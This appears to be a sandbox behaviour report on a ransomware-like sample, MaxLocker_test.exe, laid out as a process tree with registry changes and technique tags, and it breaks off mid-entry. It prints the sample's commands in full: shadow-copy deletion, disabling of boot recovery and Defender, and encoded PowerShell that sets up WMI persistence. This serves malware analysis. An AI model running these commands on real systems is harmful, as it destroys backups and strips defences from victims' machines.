Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\HideFastUserSwitching = "1"	MaxLocker_test.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableShutdownButton = "1"	MaxLocker_test.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableLockWorkstation = "1"	MaxLocker_test.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\NoLogoff = "1"	MaxLocker_test.exe
Key created	\REGISTRY\MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\DataCollection	MaxLocker_test.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableCAD = "1"	MaxLocker_test.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\MaxLocker_test.exe
"C:\Users\Admin\AppData\Local\Temp\MaxLocker_test.exe"
1⤵
- Modifies WinLogon for persistence
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies Windows Defender Real-time Protection settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Impair Defenses: Safe Mode Boot
- Adds Run key to start application
- Enumerates connected drives
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies Control Panel
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- System policy modification
PID:3440
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit.exe" /enum {bootmgr}
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4192
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit.exe" /set {bootmgr} displaybootmenu No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1412
- C:\Users\Admin\AppData\Local\Temp\MaxLocker_test.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker_test.exe" --watchdog 1 3440 77cf1b0c37394fdcac24649d11e79cfc
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4824
- C:\Users\Admin\AppData\Local\Temp\MaxLocker_test.exe
  "C:\Users\Admin\AppData\Local\Temp\MaxLocker_test.exe" --watchdog 2 4824 77cf1b0c37394fdcac24649d11e79cfc
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2440
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4484
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /create /tn "WindowsSecurityCheck" /xml "C:\Users\Admin\AppData\Roaming\MaxSecurity\task.xml" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4712
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit.exe" /enum {bootmgr}
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1216
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit.exe" /set {bootmgr} displaybootmenu No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3260
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABmAGkAbAB0AGUAcgBQAGEAdABoACAAPQAgAFMAZQB0AC0AVwBtAGkASQBuAHMAdABhAG4AYwBlACAALQBOAGEAbQBlAHMAcABhAGMAZQAgAHIAbwBvAHQAXABzAHUAYgBzAGMAcgBpAHAAdABpAG8AbgAgAC0AQwBsAGEAcwBzACAAXwBfAEUAdgBlAG4AdABGAGkAbAB0AGUAcgAgAC0AQQByAGcAdQBtAGUAbgB0AHMAIABAAHsAIAAgAE4AYQBtAGUAPQAnAE0AYQB4AFMAZQBjAHUAcgBpAHQAeQBGAGkAbAB0AGUAcgAnADsAIAAgAEUAdgBlAG4AdABOAGEAbQBlAFMAcABhAGMAZQA9ACcAcgBvAG8AdABcAGMAaQBtAHYAMgAnADsAIAAgAFEAdQBlAHIAeQBMAGEAbgBnAHUAYQBnAGUAPQAnAFcAUQBMACcAOwAgACAAUQB1AGUAcgB5AD0AIgBTAEUATABFAEMAVAAgACoAIABGAFIATwBNACAAXwBfAEkAbgBzAHQAYQBuAGMAZQBDAHIAZQBhAHQAaQBvAG4ARQB2AGUAbgB0ACAAVwBJAFQASABJAE4AIAA1ACAAVwBIAEUAUgBFACAAVABhAHIAZwBlAHQASQBuAHMAdABhAG4AYwBlACAASQBTAEEAIAAnAFcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwAgAEEATgBEACAAVABhAHIAZwBlAHQASQBuAHMAdABhAG4AYwBlAC4ATgBhAG0AZQAgAD0AIAAnAGUAeABwAGwAbwByAGUAcgAuAGUAeABlACcAIgB9ADsAJABjAG8AbgBzAHUAbQBlAHIAUABhAHQAaAAgAD0AIABTAGUAdAAtAFcAbQBpAEkAbgBzAHQAYQBuAGMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIAByAG8AbwB0AFwAcwB1AGIAcwBjAHIAaQBwAHQAaQBvAG4AIAAtAEMAbABhAHMAcwAgAEMAbwBtAG0AYQBuAGQATABpAG4AZQBFAHYAZQBuAHQAQwBvAG4AcwB1AG0AZQByACAALQBBAHIAZwB1AG0AZQBuAHQAcwAgAEAAewAgACAATgBhAG0AZQA9ACcATQBhAHgAUwBlAGMAdQByAGkAdAB5AEMAbwBuAHMAdQBtAGUAcgAnADsAIAAgAEMAbwBtAG0AYQBuAGQATABpAG4AZQBUAGUAbQBwAGwAYQB0AGUAPQAnACIAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABNAGEAeABTAGUAYwB1AHIAaQB0AHkAXABNAGEAeABTAGUAYwB1AHIAaQB0AHkAVQBwAGQAYQB0AGUALgBlAHgAZQAiACcAfQA7AFMAZQB0AC0AVwBtAGkASQBuAHMAdABhAG4AYwBlACAALQBOAGEAbQBlAHMAcABhAGMAZQAgAHIAbwBvAHQAXABzAHUAYgBzAGMAcgBpAHAAdABpAG8AbgAgAC0AQwBsAGEAcwBzACAAXwBfAEYAaQBsAHQAZQByAFQAbwBDAG8AbgBzAHUAbQBlAHIAQgBpAG4AZABpAG4AZwAgAC0AQQByAGcAdQBtAGUAbgB0AHMAIABAAHsAIAAgAEYAaQBsAHQAZQByAD0AJABmAGkAbAB0AGUAcgBQAGEAdABoADsAIAAgAEMAbwBuAHMAdQBtAGUAcgA9ACQAYwBvAG4AcwB1AG0AZQByAFAAYQB0AGgAfQA7AA==
  2⤵
  - Enumerates connected drives
  - Suspicious use of AdjustPrivilegeToken
  PID:5432
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand JABmACAAPQAgAEAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBOAGEAbQBlAHMAcABhAGMAZQAgAHIAbwBvAHQAXABzAHUAYgBzAGMAcgBpAHAAdABpAG8AbgAgAC0AQwBsAGEAcwBzACAAXwBfAEUAdgBlAG4AdABGAGkAbAB0AGUAcgAgAC0ARgBpAGwAdABlAHIAIAAiAE4AYQBtAGUAPQAnAE0AYQB4AFMAZQBjAHUAcgBpAHQAeQBGAGkAbAB0AGUAcgAnACIAKQA7ACAAJABjACAAPQAgAEAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBOAGEAbQBlAHMAcABhAGMAZQAgAHIAbwBvAHQAXABzAHUAYgBzAGMAcgBpAHAAdABpAG8AbgAgAC0AQwBsAGEAcwBzACAAQwBvAG0AbQBhAG4AZABMAGkAbgBlAEUAdgBlAG4AdABDAG8AbgBzAHUAbQBlAHIAIAAtAEYAaQBsAHQAZQByACAAIgBOAGEAbQBlAD0AJwBNAGEAeABTAGUAYwB1AHIAaQB0AHkAQwBvAG4AcwB1AG0AZQByACcAIgApADsAIABpAGYAIAAoACQAZgAuAEMAbwB1AG4AdAAgAC0AZQBxACAAMAAgAC0AbwByACAAJABjAC4AQwBvAHUAbgB0ACAALQBlAHEAIAAwACkAIAB7ACAAJwBNAEwAXwBNAEkAUwBTAEkATgBHACcAIAB9ACAAZQBsAHMAZQAgAHsAIAAnAE0ATABfAE8ASwAnACAAfQA=
  2⤵
  - Enumerates connected drives
  - Suspicious use of AdjustPrivilegeToken
  PID:4396
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /create /tn "WindowsSecurityHostSvc" /xml "C:\Users\Admin\AppData\Roaming\MaxSecurity\task_sys.xml" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:6024
- C:\Windows\SYSTEM32\reagentc.exe
  "reagentc.exe" /disable
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  PID:5636
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit.exe" /set {default} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2628
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit.exe" /set {current} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1348
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit.exe" /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:5800
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit.exe" /set {current} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:5920
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit.exe" /set {default} bootmenupolicy Legacy
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:576
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit.exe" /set {current} bootmenupolicy Legacy
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1984
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit.exe" /set {default} advancedoptions no
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2200
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit.exe" /set {current} advancedoptions no
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:6116
- C:\Windows\SYSTEM32\vssadmin.exe
  "vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:1664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableBehaviorMonitoring $true; Set-MpPreference -DisableBlockAtFirstSeen $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableScriptScanning $true; Set-MpPreference -SubmitSamplesConsent 2; Set-MpPreference -MAPSReporting 0; Set-MpPreference -HighThreatDefaultAction 6 -Force; Set-MpPreference -ModerateThreatDefaultAction 6; Set-MpPreference -LowThreatDefaultAction 6; Set-MpPreference -SevereThreatDefaultAction 6
  2⤵
  - Disables one or more Microsoft Defender components
  - Disables automatic submission of suspicious files to Microsoft by Windows Defender
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious use of AdjustPrivilegeToken
  PID:4736
- C:\Windows\SYSTEM32\ipconfig.exe
  "ipconfig.exe" /flushdns
  2⤵
  - Gathers network information
  PID:4740
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIAByAG8AbwB0AFwAcwB1AGIAcwBjAHIAaQBwAHQAaQBvAG4AIAAtAEMAbABhAHMAcwAgAF8AXwBGAGkAbAB0AGUAcgBUAG8AQwBvAG4AcwB1AG0AZQByAEIAaQBuAGQAaQBuAGcAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ARgBpAGwAdABlAHIAIAAtAGwAaQBrAGUAIAAnACoATQBhAHgAUwBlAGMAdQByAGkAdAB5AEYAaQBsAHQAZQByACoAJwAgAC0AbwByACAAJABfAC4AQwBvAG4AcwB1AG0AZQByACAALQBsAGkAawBlACAAJwAqAE0AYQB4AFMAZQBjAHUAcgBpAHQAeQBDAG8AbgBzAHUAbQBlAHIAKgAnACAAfQAgAHwAIABSAGUAbQBvAHYAZQAtAFcAbQBpAE8AYgBqAGUAYwB0ADsARwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIAByAG8AbwB0AFwAcwB1AGIAcwBjAHIAaQBwAHQAaQBvAG4AIAAtAEMAbABhAHMAcwAgAEMAbwBtAG0AYQBuAGQATABpAG4AZQBFAHYAZQBuAHQAQwBvAG4AcwB1AG0AZQByACAALQBGAGkAbAB0AGUAcgAgACIATgBhAG0AZQA9ACcATQBhAHgAUwBlAGMAdQByAGkAdAB5AEMAbwBuAHMAdQBtAGUAcgAnACIAIAB8ACAAUgBlAG0AbwB2AGUALQBXAG0AaQBPAGIAagBlAGMAdAA7AEcAZQB0AC0AVwBtAGkATwBiAGoAZQBjAHQAIAAtAE4AYQBtAGUAcwBwAGEAYwBlACAAcgBvAG8AdABcAHMAdQBiAHMAYwByAGkAcAB0AGkAbwBuACAALQBDAGwAYQBzAHMAIABfAF8ARQB2AGUAbgB0AEYAaQBsAHQAZQByACAALQBGAGkAbAB0AGUAcgAgACIATgBhAG0AZQA9ACcATQBhAHgAUwBlAGMAdQByAGkAdAB5AEYAaQBsAHQAZQByACcAIgAgAHwAIABSAGUAbQBvAHYAZQAtAFcAbQBpAE8AYgBqAGUAYwB0ADsA
  2⤵
  - Enumerates connected drives
  PID:6032
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /delete /tn "WindowsSecurityCheck" /f
  2⤵
  PID:3944
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit.exe" /set {bootmgr} displaybootmenu No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:5476
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks.exe" /delete /tn "WindowsSecurityHostSvc" /f
  2⤵
  PID:4680
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command Set-MpPreference -DisableRealtimeMonitoring $false; Set-MpPreference -DisableBehaviorMonitoring $false; Set-MpPreference -DisableBlockAtFirstSeen $false; Set-MpPreference -DisableIOAVProtection $false; Set-MpPreference -DisableScriptScanning $false; Set-MpPreference -SubmitSamplesConsent 1; Set-MpPreference -MAPSReporting 2; Set-MpPreference -HighThreatDefaultAction 0; Set-MpPreference -ModerateThreatDefaultAction 0; Set-MpPreference -LowThreatDefaultAction 0; Set-MpPreference -SevereThreatDefaultAction 0
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  PID:2484
- C:\Windows\SYSTEM32\reagentc.exe
  "reagentc.exe" /enable
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  PID:2356
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit.exe" /set {default} recoveryenabled Yes
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2200
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit.exe" /set {current} recoveryenabled yes
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:6116
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit.exe" /set {default} bootstatuspolicy DisplayAllFailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1244
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit.exe" /set {current} bootstatuspolicy DisplayAllFailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1696
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit.exe" /set {default} bootmenupolicy Standard
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2688
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit.exe" /set {current} bootmenupolicy Standard
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:6052
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit.exe" /set {default} advancedoptions yes
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1268
- C:\Windows\SYSTEM32\bcdedit.exe
  "bcdedit.exe" /set {current} advancedoptions yes
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:2060
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ExecutionPolicy Bypass -NoProfile -Command Enable-ComputerRestore -Drive ($env:SystemDrive + '\');
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  PID:5924
- C:\Windows\SYSTEM32\ipconfig.exe
  "ipconfig.exe" /flushdns
  2⤵
  - Gathers network information
  PID:2364
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  - Boot or Logon Autostart Execution: Active Setup
  - Enumerates connected drives
  - Checks SCSI registry key(s)
  - Modifies Internet Explorer settings
  - Modifies registry class
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:5124
- - C:\Windows\system32\NOTEPAD.EXE
    "C:\Windows\system32\NOTEPAD.EXE" C:\Users\Admin\Desktop\maxlocker_test.log
    3⤵
    - Modifies registry class
    - Opens file in notepad (likely ransom note)
    - Suspicious use of SetWindowsHookEx
    PID:2736
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe"
    3⤵
    - Enumerates system info in registry
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SendNotifyMessage
    - Suspicious use of WriteProcessMemory
    PID:4640
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffeb613c728,0x7ffeb613c734,0x7ffeb613c740
      4⤵
      PID:5224
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1492,i,3187081920042489986,8273961651079411050,524288 --field-trial-handle=1788,i,9863170591335364797,17819484491619730935,262144 --variations-seed-version --mojo-platform-channel-handle=1956 /prefetch:11
      4⤵
      System Time Discovery
      PID:2380
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1620,i,8673057826623557206,15593302889815521666,262144 --field-trial-handle=1788,i,9863170591335364797,17819484491619730935,262144 --variations-seed-version --mojo-platform-channel-handle=1888 /prefetch:2
      4⤵
      PID:5068
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2332,i,5924145945977522368,3333307807310861980,524288 --field-trial-handle=1788,i,9863170591335364797,17819484491619730935,262144 --variations-seed-version --mojo-platform-channel-handle=1736 /prefetch:13
      4⤵
      PID:5196
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3140,i,16496900689421784585,169281831990133523,2097152 --field-trial-handle=1788,i,9863170591335364797,17819484491619730935,262144 --variations-seed-version --mojo-platform-channel-handle=3436 /prefetch:1
      4⤵
      PID:5988
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3120,i,3492786240331518557,15178206449335134148,2097152 --field-trial-handle=1788,i,9863170591335364797,17819484491619730935,262144 --variations-seed-version --mojo-platform-channel-handle=3416 /prefetch:1
      4⤵
      PID:3544
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4580,i,15855071159757469416,6778117883994122773,2097152 --field-trial-handle=1788,i,9863170591335364797,17819484491619730935,262144 --variations-seed-version --mojo-platform-channel-handle=4592 /prefetch:1
      4⤵
      PID:1464
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4732,i,18381911643966053670,13891625844799661171,524288 --field-trial-handle=1788,i,9863170591335364797,17819484491619730935,262144 --variations-seed-version --mojo-platform-channel-handle=4772 /prefetch:14
      4⤵
      PID:3720
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5292,i,13287374751626506385,6787067892456867969,524288 --field-trial-handle=1788,i,9863170591335364797,17819484491619730935,262144 --variations-seed-version --mojo-platform-channel-handle=5296 /prefetch:14
      4⤵
      PID:1988
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5344,i,11900603920564483185,1285259347502680736,2097152 --field-trial-handle=1788,i,9863170591335364797,17819484491619730935,262144 --variations-seed-version --mojo-platform-channel-handle=5380 /prefetch:1
      4⤵
      PID:2904
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5360,i,7381375261237604267,160393621339206264,2097152 --field-trial-handle=1788,i,9863170591335364797,17819484491619730935,262144 --variations-seed-version --mojo-platform-channel-handle=5400 /prefetch:1
      4⤵
      PID:5840
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5424,i,17771180103889805724,10489656537930240047,2097152 --field-trial-handle=1788,i,9863170591335364797,17819484491619730935,262144 --variations-seed-version --mojo-platform-channel-handle=5880 /prefetch:1
      4⤵
      PID:1256
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5720,i,10888988056942169513,17834571635380551268,524288 --field-trial-handle=1788,i,9863170591335364797,17819484491619730935,262144 --variations-seed-version --mojo-platform-channel-handle=5804 /prefetch:14
      4⤵
      PID:5604
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5436,i,3433115234391290986,3022561198966083294,2097152 --field-trial-handle=1788,i,9863170591335364797,17819484491619730935,262144 --variations-seed-version --mojo-platform-channel-handle=5808 /prefetch:1
      4⤵
      PID:4664
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=6112,i,14650485193369534180,9297487587227256953,2097152 --field-trial-handle=1788,i,9863170591335364797,17819484491619730935,262144 --variations-seed-version --mojo-platform-channel-handle=5880 /prefetch:1
      4⤵
      PID:5592
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=5648,i,6888886524576950184,1460778198856772022,2097152 --field-trial-handle=1788,i,9863170591335364797,17819484491619730935,262144 --variations-seed-version --mojo-platform-channel-handle=5348 /prefetch:1
      4⤵
      PID:3476
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=6060,i,5150617496167775645,13992196396243658845,2097152 --field-trial-handle=1788,i,9863170591335364797,17819484491619730935,262144 --variations-seed-version --mojo-platform-channel-handle=5368 /prefetch:1
      4⤵
      PID:572
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5288,i,3367766987399159562,2775602257111063670,524288 --field-trial-handle=1788,i,9863170591335364797,17819484491619730935,262144 --variations-seed-version --mojo-platform-channel-handle=5340 /prefetch:14
      4⤵
      PID:2072
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5340,i,5941222003690723833,11429162411693024124,524288 --field-trial-handle=1788,i,9863170591335364797,17819484491619730935,262144 --variations-seed-version --mojo-platform-channel-handle=6072 /prefetch:14
      4⤵
      PID:5924
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=5436,i,12926406286710879629,1278627986197345569,2097152 --field-trial-handle=1788,i,9863170591335364797,17819484491619730935,262144 --variations-seed-version --mojo-platform-channel-handle=6100 /prefetch:1
      4⤵
      PID:2816
  - - C:\Program Files\Google\Chrome\Application\chrome.exe
